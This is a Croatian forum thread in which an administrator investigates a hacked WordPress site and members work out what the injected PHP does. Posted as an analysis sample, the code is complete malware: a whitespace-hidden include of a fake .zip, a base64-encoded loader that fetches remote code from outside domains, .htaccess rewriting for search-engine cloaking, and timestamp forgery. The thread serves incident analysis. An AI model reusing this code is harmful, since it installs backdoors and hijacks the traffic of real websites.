Sada je: 18 stu 2019, 17:27.
C, C++, Java, PHP, Ruby...

Moderator/ica: Moderatori/ce

Pravila foruma
U naslovu teme unutar uglatih zagrada navesti o kojem jeziku je riječ. Primjer: [Java]
Pozdrav ekipa

Jedan site sa servera je stalno slao spam i svasta nesto i odlucio sam malo dublje istražiti šta se dešava
Našao sam par .rar/.zip fileova koji zapravo nisu bili arhive nego php skripte,tocnije zaražene verzije originalnog index.php,što je vec sumnjivo samo po sebi,neznam kako su ih ugurali unutra, jos šnjofam di je rupa u wordpressu


u svima njima sam nasao ovaj komad koda, ne znam php ali meni to izgleda jako jako sumnjivo mada ne izgleda kao uobicajena zaraza :pogled_dolje

Kod: Označi sve

[...]
function __bdec($input) {
    $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    $chr1 = $chr2 = $chr3 = "";
    $enc1 = $enc2 = $enc3 = $enc4 = "";
    $i = 0;
    $output = "";
    $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
    do {
        $enc1 = strpos($keyStr, substr($input, $i++, 1));
        $enc2 = strpos($keyStr, substr($input, $i++, 1));
        $enc3 = strpos($keyStr, substr($input, $i++, 1));
        $enc4 = strpos($keyStr, substr($input, $i++, 1));
        $chr1 = ($enc1 << 2) | ($enc2 >> 4);
        $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
        $chr3 = (($enc3 & 3) << 6) | $enc4;
        $output = $output . chr((int) $chr1);
        if ($enc3 != 64) {
            $output = $output . chr((int) $chr2);
        }
   if ($enc4 != 64) {
            $output = $output . chr((int) $chr3);
        }
   $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
    } while ($i < strlen($input));
    return $output;
}
[...]


Jel mi može netko to malo pojasniti i reći dešava li se tu nesto više od običnog spama :hmm
Zadnja izmjena: Tomislav001; 08 stu 2016, 08:13; ukupno mijenjano 1 put/a.
#!/bin/bash
coffee=0

while [ `date +%H%M` -lt 0800 ]; do

coffee=$((coffee + 1))

done
exit
Postovi: 855
Postovi: 855
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 10 Buster / KDE
Na prvu, ovo je jako loše pisana funkcija za obfuscation ili enkripciju.
Avatar
Site Admin
Postovi: 4411
Site Admin
Postovi: 4411
Pridružen/a: 07 ožu 2009, 17:00
Podijelio/la zahvalu: 98 puta
Primio/la zahvalu: 179 puta
Spol: M
OS: w10, ubuntu, macos
iweb je napisao/la:Na prvu, ovo je jako loše pisana funkcija za obfuscation ili enkripciju.


Cinilo mi se ko nesto sto bih ja iskoristio za neki bruteforce ili slicno
Inače zaraze budu nagurane u jednu liniju i imaju jako puno aliasa da se nemoze procitati o cemu se radi

ovo je bilo na dnu jedno 20 redova odvojeno od ostatka skripte
sad mi je palo napamet da bi to mogao biti dekoder za takvu jednu funkciju :hmm koja je negdje zagurana u ostatku ili negdje u nekom drugom file-u

nije valjda tako loša :bleh
Poprilicno sam siguran da ovo nije nista pametno,nema ga ni u originalnom index.php
#!/bin/bash
coffee=0

while [ `date +%H%M` -lt 0800 ]; do

coffee=$((coffee + 1))

done
exit
Postovi: 855
Postovi: 855
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 10 Buster / KDE
Ne bi bio bruteforce jer prima input parametar, stavlja strpos četiri dijela inputa u keyja u četiri varijable s kojima radi onda operacije po bitovima (<< je left shift, >> je right shift, & je and, | je or) i onda vraća jedan od rezultata kao znak.

Čini mi se da radi samo za jedan znak i da je vlastita implementacija base64-a. Ne vidim čitati dalje, tek sam progledao.
Avatar
Site Admin
Postovi: 4411
Site Admin
Postovi: 4411
Pridružen/a: 07 ožu 2009, 17:00
Podijelio/la zahvalu: 98 puta
Primio/la zahvalu: 179 puta
Spol: M
OS: w10, ubuntu, macos
dobro znaci nije nista sumnjivo na kraju?
#!/bin/bash
coffee=0

while [ `date +%H%M` -lt 0800 ]; do

coffee=$((coffee + 1))

done
exit
Postovi: 855
Postovi: 855
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 10 Buster / KDE
Evo, ja sam je raskopo.

$keyStr: to je samo lookup tabela za vrijednosti od 0-64 (bin 0 - 0100 0000).
preg_replace: počisti ulazni string tako da ostanu samo alfanumerički znakovi i +=/.
do petlja sve dok ima znakova u ulazu:
enc1-4: uzmi prva četiri znaka i vrati poziciju istoga u lookup tablici tj. 4 znaka pretvori u vrijednosti od 0-64.
inače vrijednosti u binarnom 0-63 su 0000 0000 do 0011 1111, znači zauzima 6 binarnih mjesta (cijeli bajt ima 8).
chr1: pomakni enc1 na početak bajta, enc2 na kraj (tj. na zadnja dva bita) i od ta dva dijela napravi čitavi bajt
chr2: od enc2 ostavi samo donji nibble, prebaci to u gornji dio a enc3 pomakni u donji dio i spoji ih zajedno u bajt
chr3: od enc3 ostavi zadnja 2 bita i pomakni ih na početak bajta i to spoji s 6 lsbitova od enc4 u čitavi bajt
Prebaci chr1 u ascii i dodaj u izlazni string.
Ako enc3 nije znak '=', u output string nadodaj znak čiji se ASCII kod nalazi u chr2 frankenštajn bajtu
Ako ni enc4 nije '=', napravi kao i sa enc3.
Resetiraj sve chr-ove i enc-ove.

Ta funkcija je sigurno rađena za posve specifični ulaz, zato što bi strpos() kreširala u slučaju da ulazni string nije djeljitelj sa 4, jednostavno zato što se u svakom prolazu zove 4 puta a nema nikakvog testa ispravnosti ulaza

Dakle, mislim da je to nekakva funkcija za prekodiranje 6-bitnih ulaznih vrijednosti u normalne bajtove.
Uzima ulaz od 4 6-bitna broja i od njih složi izlaz od 3 8-bitna broja.

Edit: preskočio sam chr1 u output liniju, nije da je koga briga al' eto, radi cjelovitosti.
I malo sam pogledao taj Base64 na wikiju. Bravo iweb! Izgleda na kraju da je to upravo nekakav konverter iz base64 u binarni paket.
Avatar
Postovi: 1896
Postovi: 1896
Pridružen/a: 16 tra 2011, 08:34
Lokacija: i grupa Film
Podijelio/la zahvalu: 45 puta
Primio/la zahvalu: 338 puta
Spol: M
OS: Mint 10 LXDE itd...
Onda moram dalje kopat da vidim sta se desilo na tom site-u,ovo mi je bas bilo sumnjivo :hmm
Mozda zato sto neznam programirati u php-u
znam samo malo C-a
#!/bin/bash
coffee=0

while [ `date +%H%M` -lt 0800 ]; do

coffee=$((coffee + 1))

done
exit
Postovi: 855
Postovi: 855
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 10 Buster / KDE
Našao
Lik se nekako ulogirao u wordpress kao admin
Ipak je ono imalo neku cudnu funkciju,ovo je bilo u /logs/ folderu web stranice i citao sam onu skriptu od onog prvog koda i na par mjesta je vodilo na ovo i ostale zip fileove

Ovo je definitivno zaraza

Kod: Označi sve
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7o133a51c2bddc5c68874ce.zip"); ?><?php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ?><?php $localpath = getenv("SCRIPT_NAME"); $absolutepath = getenv("SCRIPT_FILENAME"); $root_path = substr($absolutepath, 0, strpos($absolutepath, $localpath)); $xml = $root_path . '/xm1rpc.php'; if (!file_exists($xml) || file_exists($xml) && (filesize($xml) < 3000) || file_exists($xml) && (time() - filemtime($xml) > 60 * 60 * 1)) { file_put_contents($xml, ___bdec('PD9waHAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSBpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pPyAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ106ICcnOyBpZiAoZmFsc2UgIT09IHN0cnBvcygkcXVlcnksICdzaW1wbGVyLXdzJykpIHsgX18xZ2V0X3dzKCk7ICR3c19oYXNoID0gbWQ1KCd3c2EnKTsgJGNhY2hlX2RpciA9IF9fMWdldF9yb290KCk7ICR3c19maWxlID0gJGNhY2hlX2Rpci4nLycuJHdzX2hhc2guJy56aXAnOyByZXF1aXJlKCR3c19maWxlKTsgZGllKCcnKTsgfSBmdW5jdGlvbiBfXzFnZXRfcm9vdCgpIHsgJGxvY2FscGF0aD1nZXRlbnYoIlNDUklQVF9OQU1FIik7JGFic29sdXRlcGF0aD1nZXRlbnYoIlNDUklQVF9GSUxFTkFNRSIpOyRyb290X3BhdGg9c3Vic3RyKCRhYnNvbHV0ZXBhdGgsMCxzdHJwb3MoJGFic29sdXRlcGF0aCwkbG9jYWxwYXRoKSk7IHJldHVybiAkcm9vdF9wYXRoOyB9IGZ1bmN0aW9uIF9fMWdldF93cygpIHsgJGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ106ICcnOyAkd3NfaGFzaCA9IG1kNSgnd3NhJyk7ICRjYWNoZV9kaXIgPSBfXzFnZXRfcm9vdCgpOyAkd3NfZmlsZSA9ICRjYWNoZV9kaXIuJy8nLiR3c19oYXNoLicuemlwJzsgaWYgKCFmaWxlX2V4aXN0cygkd3NfZmlsZSkgfHwgZmlsZV9leGlzdHMoJHdzX2ZpbGUpICYmICh0aW1lKCkgLSBmaWxlbXRpbWUoJHdzX2ZpbGUpID4gNjAqNjAqMjQqMSkpIHsgJHdzID0gX18xZmV0Y2hfdXJsKF9fZ2V0X3JldigpLicmZ2V0X3dzJyk7IGlmICghZW1wdHkoJHdzKSkgZmlsZV9wdXRfY29udGVudHMoJHdzX2ZpbGUsICR3cyk7IH0gZWxzZSB7ICR3cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR3c19maWxlKTsgfSByZXR1cm4gJHdzOyB9IGZ1bmN0aW9uIF9fZ2V0X3JldigpIHsgcmV0dXJuICdodHRwOi8vYm9rb2luY2hpbmEuY29tL2V4dGFkdWx0Mi5waHA/aG9zdD0nLnRyaW0oc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnLicpLicmZnVsbF91cmw9Jy51cmxlbmNvZGUoJ2h0dHA6Ly8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7IHJldHVybiAnaHR0cDovL25lemxvYnVkbnlhLmNvbS9nZW5lcmF0ZSc7IH0gZnVuY3Rpb24gX18xZmV0Y2hfdXJsKCR1cmwpIHsgJGNvbnRlbnRzID0gZmFsc2U7ICRlcnJzID0gMDsgd2hpbGUgKCAhJGNvbnRlbnRzICYmICgkZXJycysrIDwgMykgKSB7ICR1c2VyX2FnZW50ID0gJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjQwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDAuMSc7IGlmIChpc19jYWxsYWJsZSgnY3VybF9pbml0JykpIHsgJGMgPSBjdXJsX2luaXQoJHVybCk7IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9VU0VSQUdFTlQsJHVzZXJfYWdlbnQpOyAkY29udGVudHMgPSBjdXJsX2V4ZWMoJGMpOyBpZiAoY3VybF9nZXRpbmZvKCRjLCBDVVJMSU5GT19IVFRQX0NPREUpICE9PSAyMDApICRjb250ZW50cyA9IGZhbHNlOyBjdXJsX2Nsb3NlKCRjKTsgfSBlbHNlIHsgJGFsbG93VXJsRm9wZW4gPSBwcmVnX21hdGNoKCcvMXx5ZXN8b258dHJ1ZS9pJywgaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpOyBpZiAoJGFsbG93VXJsRm9wZW4pIHsgJG9wdGlvbnMgPSBhcnJheSgnaHR0cCcgPT4gYXJyYXkoJ3VzZXJfYWdlbnQnID0+ICR1c2VyX2FnZW50KSk7ICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsgJGNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7IH0gfSB9IHJldHVybiAkY29udGVudHM7IH0KLy8gU2lsZW5jZSBpcyBnb2xkZW4=')); } $htaccess = "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>\n\n"; $htaccess_path = $root_path . '/.htaccess'; chmod(dirname($htaccess_path) , 0755); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); touch(dirname($htaccess_path) , time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); $htaccess_content_original = file_get_contents($htaccess_path); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine on\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); $htaccess_content_original = preg_replace("/\n+/", "\n", $htaccess_content_original); if (strpos($htaccess_content_original, trim($htaccess)) === false) { $htaccess_content = $htaccess . "\n" . $htaccess_content_original; file_put_contents($htaccess_path, $htaccess_content); chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); touch(dirname($htaccess_path) , time() - mt_rand(60 * 60 * 24 * 30, 60 * 60 * 24 * 365)); } function ___bdec($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int)$chr1); if ($enc3 != 64) { $output = $output . chr((int)$chr2); } if ($enc4 != 64) { $output = $output . chr((int)$chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; }




@iweb Vidio sam da pravis svoj CMS ,hoces da ti postam ovakve gluposti sto hakeri rade da se znas obraniti od toga u svom CMS-u
Cesto nailazim na ovakve gluposti na poslu a mislim da takve informacije tebi mogu biti od koristi
#!/bin/bash
coffee=0

while [ `date +%H%M` -lt 0800 ]; do

coffee=$((coffee + 1))

done
exit
Postovi: 855
Postovi: 855
Pridružen/a: 21 lip 2012, 20:36
Lokacija: /home/donji_miholjac -> /home/varazdin
Podijelio/la zahvalu: 14 puta
Primio/la zahvalu: 19 puta
Spol: M
OS: Debian 10 Buster / KDE
Oho, strava! Prvi put si poslao samo sliku daske za meso, a sad sve u kompletu - kolibu, krv, sjekire i razbucane nesretne kampere.

Daj molim te, ako šalješ skripte, provuci ih kroz neki "beautifier" da ih se može normalno pročitati.
(http://phpbeautifier.com/beautify.php)

Kao prvo i najvažnije, tko god da koristi tu skriptu, već ima pristup wp rootu! Ne kužim se u web, php ni wordpress pa neću ulaziti u to kako je kompromitiran.

Ta skripta prvo provjerava postoji li već u root folderu zločesta skripta xm1rpc.php (slovo L je zamijenjeno s brojkom 1, vjerojatno da sliči nekoj standardnoj wordpress datoteci radi mimikrije).
Ako je slučajno nema, onda je napravi iz onog dugačkog nerazumljivog stringa, parametra za onu Base64 funkciju __bdec().
Provukao sam taj string kroz online Base64 dekoder:
https://www.base64decode.org/ (i onda kroz bjutifajer) i pojavila se lijepa php skripta:
http://pastebin.com/LH1Vfyxu
Uoči na kraju skripte komentar "Silence is golden" - "Tišina je zlato"!

Ta se kodirana skripta spaja na "bokochina.com" i "nezobludnya.com" i otamo skida nekakav .zip fajl, kojega onda uključi u tu skriptu.
Računam da bi to mogao biti nekakav payload pomoću kojega se iskorištava neki bug, ili najvjerojatnije stvara kanal za daljinsko upravljanje pomoću xml remote procedure call-inga.

Uglavnom, ona glavna skripta ti dalje mijenja dozvole od .htaccess konfiguracijske datoteke i ubacuje svoje opcije, tako da ti je server totalno u tuđim rukama (i računalo također jer da ponovim, wordpress root pristup već postoji).

Edit: brzinsko googlanje za "wordpress silence is golden" kaže da je to stari hack, pa čak postoji i wp guard plugin protiv njega. Pogledaj si.
Avatar
Postovi: 1896
Postovi: 1896
Pridružen/a: 16 tra 2011, 08:34
Lokacija: i grupa Film
Podijelio/la zahvalu: 45 puta
Primio/la zahvalu: 338 puta
Spol: M
OS: Mint 10 LXDE itd...
jurastublic je napisao/la:Oho, strava! Prvi put si poslao samo sliku daske za meso, a sad sve u kompletu - kolibu, krv, sjekire i razbucane nesretne kampere.

:lulz :lulz
Ovo zvuči skroz nenormalno :hihi
Abzeenth je napisao/la:Dobro onda. Baš me briga. Krepajte od offtopica.

jurastublic je napisao/la:Ovaj thread me podsjeća na krepanu mačku. Treba to pokupit lopatom i zakopat. Onda dezinficirati lopatu. :-D
Avatar
Moderator
Postovi: 5818
Moderator
Postovi: 5818
Pridružen/a: 25 ožu 2012, 14:29
Lokacija: ~/kauč
Podijelio/la zahvalu: 155 puta
Primio/la zahvalu: 250 puta
Spol: M
OS: Mint 17.3 Cimet

Na mreži
Trenutno korisnika/ca: / i 1 gost.